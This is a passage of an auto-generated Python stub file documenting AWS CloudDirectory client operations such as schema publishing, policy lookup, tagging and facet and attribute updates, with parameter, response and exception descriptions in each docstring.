Response Structure (dict) -- ObjectIdentifiers (list) -- A list of ObjectIdentifiers to which the policy is attached. (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.NotPolicyException :return: { 'ObjectIdentifiers': [ 'string', ], 'NextToken': 'string' } :returns: (string) -- """ pass def list_published_schema_arns(SchemaArn=None, NextToken=None, MaxResults=None): """ Lists the major version families of each published schema. If a major version ARN is provided as SchemaArn , the minor version revisions in that family are listed instead. See also: AWS API Documentation Exceptions :example: response = client.list_published_schema_arns( SchemaArn='string', NextToken='string', MaxResults=123 ) :type SchemaArn: string :param SchemaArn: The response for ListPublishedSchemaArns when this parameter is used will list all minor version ARNs for a major version. :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :rtype: dict ReturnsResponse Syntax { 'SchemaArns': [ 'string', ], 'NextToken': 'string' } Response Structure (dict) -- SchemaArns (list) -- The ARNs of published schemas. (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'SchemaArns': [ 'string', ], 'NextToken': 'string' } :returns: (string) -- """ pass def list_tags_for_resource(ResourceArn=None, NextToken=None, MaxResults=None): """ Returns tags for a resource. Tagging is currently supported only for directories with a limit of 50 tags per directory. All 50 tags are returned for a given directory with this API call. See also: AWS API Documentation Exceptions :example: response = client.list_tags_for_resource( ResourceArn='string', NextToken='string', MaxResults=123 ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource. Tagging is only supported for directories.\n :type NextToken: string :param NextToken: The pagination token. This is for future use. Currently pagination is not supported for tagging. :type MaxResults: integer :param MaxResults: The MaxResults parameter sets the maximum number of results returned in a single page. This is for future use and is not supported currently. :rtype: dict ReturnsResponse Syntax { 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ], 'NextToken': 'string' } Response Structure (dict) -- Tags (list) -- A list of tag key value pairs that are associated with the response. (dict) -- The tag structure that contains a tag key and value. Key (string) -- The key that is associated with the tag. Value (string) -- The value that is associated with the tag. NextToken (string) -- The token to use to retrieve the next page of results. This value is null when there are no more results to return. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidTaggingRequestException :return: { 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ], 'NextToken': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidTaggingRequestException """ pass def list_typed_link_facet_attributes(SchemaArn=None, Name=None, NextToken=None, MaxResults=None): """ Returns a paginated list of all attribute definitions for a particular TypedLinkFacet . For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.list_typed_link_facet_attributes( SchemaArn='string', Name='string', NextToken='string', MaxResults=123 ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n :type Name: string :param Name: [REQUIRED]\nThe unique name of the typed link facet.\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :rtype: dict ReturnsResponse Syntax { 'Attributes': [ { 'Name': 'string', 'Type': 'STRING'|'BINARY'|'BOOLEAN'|'NUMBER'|'DATETIME'|'VARIANT', 'DefaultValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'IsImmutable': True|False, 'Rules': { 'string': { 'Type': 'BINARY_LENGTH'|'NUMBER_COMPARISON'|'STRING_FROM_SET'|'STRING_LENGTH', 'Parameters': { 'string': 'string' } } }, 'RequiredBehavior': 'REQUIRED_ALWAYS'|'NOT_REQUIRED' }, ], 'NextToken': 'string' } Response Structure (dict) -- Attributes (list) -- An ordered set of attributes associate with the typed link. (dict) -- A typed link attribute definition. Name (string) -- The unique name of the typed link attribute. Type (string) -- The type of the attribute. DefaultValue (dict) -- The default value of the attribute (if configured). StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. IsImmutable (boolean) -- Whether the attribute is mutable or not. Rules (dict) -- Validation rules that are attached to the attribute definition. (string) -- (dict) -- Contains an Amazon Resource Name (ARN) and parameters that are associated with the rule. Type (string) -- The type of attribute validation rule. Parameters (dict) -- The minimum and maximum parameters that are associated with the rule. (string) -- (string) -- RequiredBehavior (string) -- The required behavior of the TypedLinkAttributeDefinition . NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'Attributes': [ { 'Name': 'string', 'Type': 'STRING'|'BINARY'|'BOOLEAN'|'NUMBER'|'DATETIME'|'VARIANT', 'DefaultValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'IsImmutable': True|False, 'Rules': { 'string': { 'Type': 'BINARY_LENGTH'|'NUMBER_COMPARISON'|'STRING_FROM_SET'|'STRING_LENGTH', 'Parameters': { 'string': 'string' } } }, 'RequiredBehavior': 'REQUIRED_ALWAYS'|'NOT_REQUIRED' }, ], 'NextToken': 'string' } :returns: (string) -- (string) -- """ pass def list_typed_link_facet_names(SchemaArn=None, NextToken=None, MaxResults=None): """ Returns a paginated list of TypedLink facet names for a particular schema. For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.list_typed_link_facet_names( SchemaArn='string', NextToken='string', MaxResults=123 ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :rtype: dict ReturnsResponse Syntax { 'FacetNames': [ 'string', ], 'NextToken': 'string' } Response Structure (dict) -- FacetNames (list) -- The names of typed link facets that exist within the schema. (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'FacetNames': [ 'string', ], 'NextToken': 'string' } :returns: (string) -- """ pass def lookup_policy(DirectoryArn=None, ObjectReference=None, NextToken=None, MaxResults=None): """ Lists all policies from the root of the Directory to the object specified. If there are no policies present, an empty list is returned. If policies are present, and if some objects don\'t have the policies attached, it returns the ObjectIdentifier for such objects. If policies are present, it returns ObjectIdentifier , policyId , and policyType . Paths that don\'t lead to the root from the target object are ignored. For more information, see Policies . See also: AWS API Documentation Exceptions :example: response = client.lookup_policy( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, NextToken='string', MaxResults=123 ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory . For more information, see arns .\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nReference that identifies the object whose policies will be looked up.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type NextToken: string :param NextToken: The token to request the next page of results. :type MaxResults: integer :param MaxResults: The maximum number of items to be retrieved in a single call. This is an approximate number. :rtype: dict ReturnsResponse Syntax { 'PolicyToPathList': [ { 'Path': 'string', 'Policies': [ { 'PolicyId': 'string', 'ObjectIdentifier': 'string', 'PolicyType': 'string' }, ] }, ], 'NextToken': 'string' } Response Structure (dict) -- PolicyToPathList (list) -- Provides list of path to policies. Policies contain PolicyId , ObjectIdentifier , and PolicyType . For more information, see Policies . (dict) -- Used when a regular object exists in a Directory and you want to find all of the policies that are associated with that object and the parent to that object. Path (string) -- The path that is referenced from the root. Policies (list) -- List of policy objects. (dict) -- Contains the PolicyType , PolicyId , and the ObjectIdentifier to which it is attached. For more information, see Policies . PolicyId (string) -- The ID of PolicyAttachment . ObjectIdentifier (string) -- The ObjectIdentifier that is associated with PolicyAttachment . PolicyType (string) -- The type of policy that can be associated with PolicyAttachment . NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.ResourceNotFoundException :return: { 'PolicyToPathList': [ { 'Path': 'string', 'Policies': [ { 'PolicyId': 'string', 'ObjectIdentifier': 'string', 'PolicyType': 'string' }, ] }, ], 'NextToken': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.ResourceNotFoundException """ pass def publish_schema(DevelopmentSchemaArn=None, Version=None, MinorVersion=None, Name=None): """ Publishes a development schema with a major version and a recommended minor version. See also: AWS API Documentation Exceptions :example: response = client.publish_schema( DevelopmentSchemaArn='string', Version='string', MinorVersion='string', Name='string' ) :type DevelopmentSchemaArn: string :param DevelopmentSchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the development schema. For more information, see arns .\n :type Version: string :param Version: [REQUIRED]\nThe major version under which the schema will be published. Schemas have both a major and minor version associated with them.\n :type MinorVersion: string :param MinorVersion: The minor version under which the schema will be published. This parameter is recommended. Schemas have both a major and minor version associated with them. :type Name: string :param Name: The new name under which the schema will be published. If this is not provided, the development schema is considered. :rtype: dict ReturnsResponse Syntax { 'PublishedSchemaArn': 'string' } Response Structure (dict) -- PublishedSchemaArn (string) -- The ARN that is associated with the published schema. For more information, see arns . Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.SchemaAlreadyPublishedException :return: { 'PublishedSchemaArn': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.SchemaAlreadyPublishedException """ pass def put_schema_from_json(SchemaArn=None, Document=None): """ Allows a schema to be updated using JSON upload. Only available for development schemas. See JSON Schema Format for more information. See also: AWS API Documentation Exceptions :example: response = client.put_schema_from_json( SchemaArn='string', Document='string' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe ARN of the schema to update.\n :type Document: string :param Document: [REQUIRED]\nThe replacement JSON schema.\n :rtype: dict ReturnsResponse Syntax { 'Arn': 'string' } Response Structure (dict) -- Arn (string) -- The ARN of the schema to update. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.InvalidSchemaDocException CloudDirectory.Client.exceptions.InvalidRuleException :return: { 'Arn': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.InvalidSchemaDocException CloudDirectory.Client.exceptions.InvalidRuleException """ pass def remove_facet_from_object(DirectoryArn=None, SchemaFacet=None, ObjectReference=None): """ Removes the specified facet from the specified object. See also: AWS API Documentation Exceptions :example: response = client.remove_facet_from_object( DirectoryArn='string', SchemaFacet={ 'SchemaArn': 'string', 'FacetName': 'string' }, ObjectReference={ 'Selector': 'string' } ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory in which the object resides.\n :type SchemaFacet: dict :param SchemaFacet: [REQUIRED]\nThe facet to remove. See SchemaFacet for details.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nA reference to the object to remove the facet from.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException :return: {} :returns: (dict) -- """ pass def tag_resource(ResourceArn=None, Tags=None): """ An API operation for adding tags to a resource. See also: AWS API Documentation Exceptions :example: response = client.tag_resource( ResourceArn='string', Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource. Tagging is only supported for directories.\n :type Tags: list :param Tags: [REQUIRED]\nA list of tag key-value pairs.\n\n(dict) --The tag structure that contains a tag key and value.\n\nKey (string) --The key that is associated with the tag.\n\nValue (string) --The value that is associated with the tag.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidTaggingRequestException :return: {} :returns: (dict) -- """ pass def untag_resource(ResourceArn=None, TagKeys=None): """ An API operation for removing tags from a resource. See also: AWS API Documentation Exceptions :example: response = client.untag_resource( ResourceArn='string', TagKeys=[ 'string', ] ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource. Tagging is only supported for directories.\n :type TagKeys: list :param TagKeys: [REQUIRED]\nKeys of the tag that need to be removed from the resource.\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidTaggingRequestException :return: {} :returns: (dict) -- """ pass def update_facet(SchemaArn=None, Name=None, AttributeUpdates=None, ObjectType=None): """ Does the following: See also: AWS API Documentation Exceptions :example: response = client.update_facet( SchemaArn='string', Name='string', AttributeUpdates=[ { 'Attribute': { 'Name': 'string', 'AttributeDefinition': { 'Type': 'STRING'|'BINARY'|'BOOLEAN'|'NUMBER'|'DATETIME'|'VARIANT', 'DefaultValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'IsImmutable': True|False, 'Rules': { 'string': { 'Type': 'BINARY_LENGTH'|'NUMBER_COMPARISON'|'STRING_FROM_SET'|'STRING_LENGTH', 'Parameters': { 'string': 'string' } } } }, 'AttributeReference': { 'TargetFacetName': 'string', 'TargetAttributeName': 'string' }, 'RequiredBehavior': 'REQUIRED_ALWAYS'|'NOT_REQUIRED' }, 'Action': 'CREATE_OR_UPDATE'|'DELETE' }, ], ObjectType='NODE'|'LEAF_NODE'|'POLICY'|'INDEX' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Facet . For more information, see arns .\n :type Name: string :param Name: [REQUIRED]\nThe name of the facet.\n :type AttributeUpdates: list :param AttributeUpdates: List of attributes that need to be updated in a given schema Facet . Each attribute is followed by AttributeAction , which specifies the type of update operation to perform.\n\n(dict) --A structure that contains information used to update an attribute.\n\nAttribute (dict) --The attribute to update.\n\nName (string) -- [REQUIRED]The name of the facet attribute.\n\nAttributeDefinition (dict) --A facet attribute consists of either a definition or a reference. This structure contains the attribute definition. See Attribute References for more information.\n\nType (string) -- [REQUIRED]The type of the attribute.\n\nDefaultValue (dict) --The default value of the attribute (if configured).\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nIsImmutable (boolean) --Whether the attribute is mutable or not.\n\nRules (dict) --Validation rules attached to the attribute definition.\n\n(string) --\n(dict) --Contains an Amazon Resource Name (ARN) and parameters that are associated with the rule.\n\nType (string) --The type of attribute validation rule.\n\nParameters (dict) --The minimum and maximum parameters that are associated with the rule.\n\n(string) --\n(string) --\n\n\n\n\n\n\n\n\n\n\n\n\nAttributeReference (dict) --An attribute reference that is associated with the attribute. See Attribute References for more information.\n\nTargetFacetName (string) -- [REQUIRED]The target facet name that is associated with the facet reference. See Attribute References for more information.\n\nTargetAttributeName (string) -- [REQUIRED]The target attribute name that is associated with the facet reference. See Attribute References for more information.\n\n\n\nRequiredBehavior (string) --The required behavior of the FacetAttribute .\n\n\n\nAction (string) --The action to perform when updating the attribute.\n\n\n\n\n :type ObjectType: string :param ObjectType: The object type that is associated with the facet. See CreateFacetRequest$ObjectType for more details. :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.InvalidFacetUpdateException CloudDirectory.Client.exceptions.FacetValidationException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetNotFoundException CloudDirectory.Client.exceptions.InvalidRuleException :return: {} :returns: SchemaArn (string) -- [REQUIRED] The Amazon Resource Name (ARN) that is associated with the Facet . For more information, see arns . Name (string) -- [REQUIRED] The name of the facet. AttributeUpdates (list) -- List of attributes that need to be updated in a given schema Facet . Each attribute is followed by AttributeAction , which specifies the type of update operation to perform. (dict) --A structure that contains information used to update an attribute. Attribute (dict) --The attribute to update. Name (string) -- [REQUIRED]The name of the facet attribute. AttributeDefinition (dict) --A facet attribute consists of either a definition or a reference. This structure contains the attribute definition. See Attribute References for more information. Type (string) -- [REQUIRED]The type of the attribute. DefaultValue (dict) --The default value of the attribute (if configured). StringValue (string) --A string data value. BinaryValue (bytes) --A binary data value. BooleanValue (boolean) --A Boolean data value. NumberValue (string) --A number data value. DatetimeValue (datetime) --A date and time value. IsImmutable (boolean) --Whether the attribute is mutable or not. Rules (dict) --Validation rules attached to the attribute definition. (string) -- (dict) --Contains an Amazon Resource Name (ARN) and parameters that are associated with the rule. Type (string) --The type of attribute validation rule. Parameters (dict) --The minimum and maximum parameters that are associated with the rule. (string) -- (string) -- AttributeReference (dict) --An attribute reference that is associated with the attribute. See Attribute References for more information. TargetFacetName (string) -- [REQUIRED]The target facet name that is associated with the facet reference. See Attribute References for more information. TargetAttributeName (string) -- [REQUIRED]The target attribute name that is associated with the facet reference. See Attribute References for more information. RequiredBehavior (string) --The required behavior of the FacetAttribute . Action (string) --The action to perform when updating the attribute. ObjectType (string) -- The object type that is associated with the facet. See CreateFacetRequest$ObjectType for more details. """ pass def update_link_attributes(DirectoryArn=None, TypedLinkSpecifier=None, AttributeUpdates=None): """ Updates a given typed link\xe2\x80\x99s attributes. Attributes to be updated must not contribute to the typed link\xe2\x80\x99s identity, as defined by its IdentityAttributeOrder . See also: AWS API Documentation Exceptions :example: response = client.update_link_attributes( DirectoryArn='string', TypedLinkSpecifier={ 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, AttributeUpdates=[ { 'AttributeKey': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'AttributeAction': { 'AttributeActionType': 'CREATE_OR_UPDATE'|'DELETE', 'AttributeUpdateValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ] ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where the updated typed link resides. For more information, see arns or Typed Links .\n :type TypedLinkSpecifier: dict :param TypedLinkSpecifier: [REQUIRED]\nAllows a typed link specifier to be accepted as input.\n\nTypedLinkFacet (dict) -- [REQUIRED]Identifies the typed link facet that is associated with the typed link.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n\nSourceObjectReference (dict) -- [REQUIRED]Identifies the source object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTargetObjectReference (dict) -- [REQUIRED]Identifies the target object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nIdentityAttributeValues (list) -- [REQUIRED]Identifies the attribute value to update.\n\n(dict) --Identifies the attribute name and value for a typed link.\n\nAttributeName (string) -- [REQUIRED]The attribute name of the typed link.\n\nValue (dict) -- [REQUIRED]The value for the typed link.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n :type AttributeUpdates: list :param AttributeUpdates: [REQUIRED]\nThe attributes update structure.\n\n(dict) --Structure that contains attribute update information.\n\nAttributeKey (dict) --The key of the attribute being updated.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\nAttributeAction (dict) --The action to perform as part of the attribute update.\n\nAttributeActionType (string) --A type that can be either UPDATE_OR_CREATE or DELETE .\n\nAttributeUpdateValue (dict) --The value that you want to update to.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException :return: {} :returns: (dict) -- """ pass def update_object_attributes(DirectoryArn=None, ObjectReference=None, AttributeUpdates=None): """ Updates a given object\'s attributes. See also: AWS API Documentation Exceptions :example: response = client.update_object_attributes( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, AttributeUpdates=[ { 'ObjectAttributeKey': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'ObjectAttributeAction': { 'ObjectAttributeActionType': 'CREATE_OR_UPDATE'|'DELETE', 'ObjectAttributeUpdateValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ] ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where the object resides. For more information, see arns .\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nThe reference that identifies the object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type AttributeUpdates: list :param AttributeUpdates: [REQUIRED]\nThe attributes update structure.\n\n(dict) --Structure that contains attribute update information.\n\nObjectAttributeKey (dict) --The key of the attribute being updated.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the 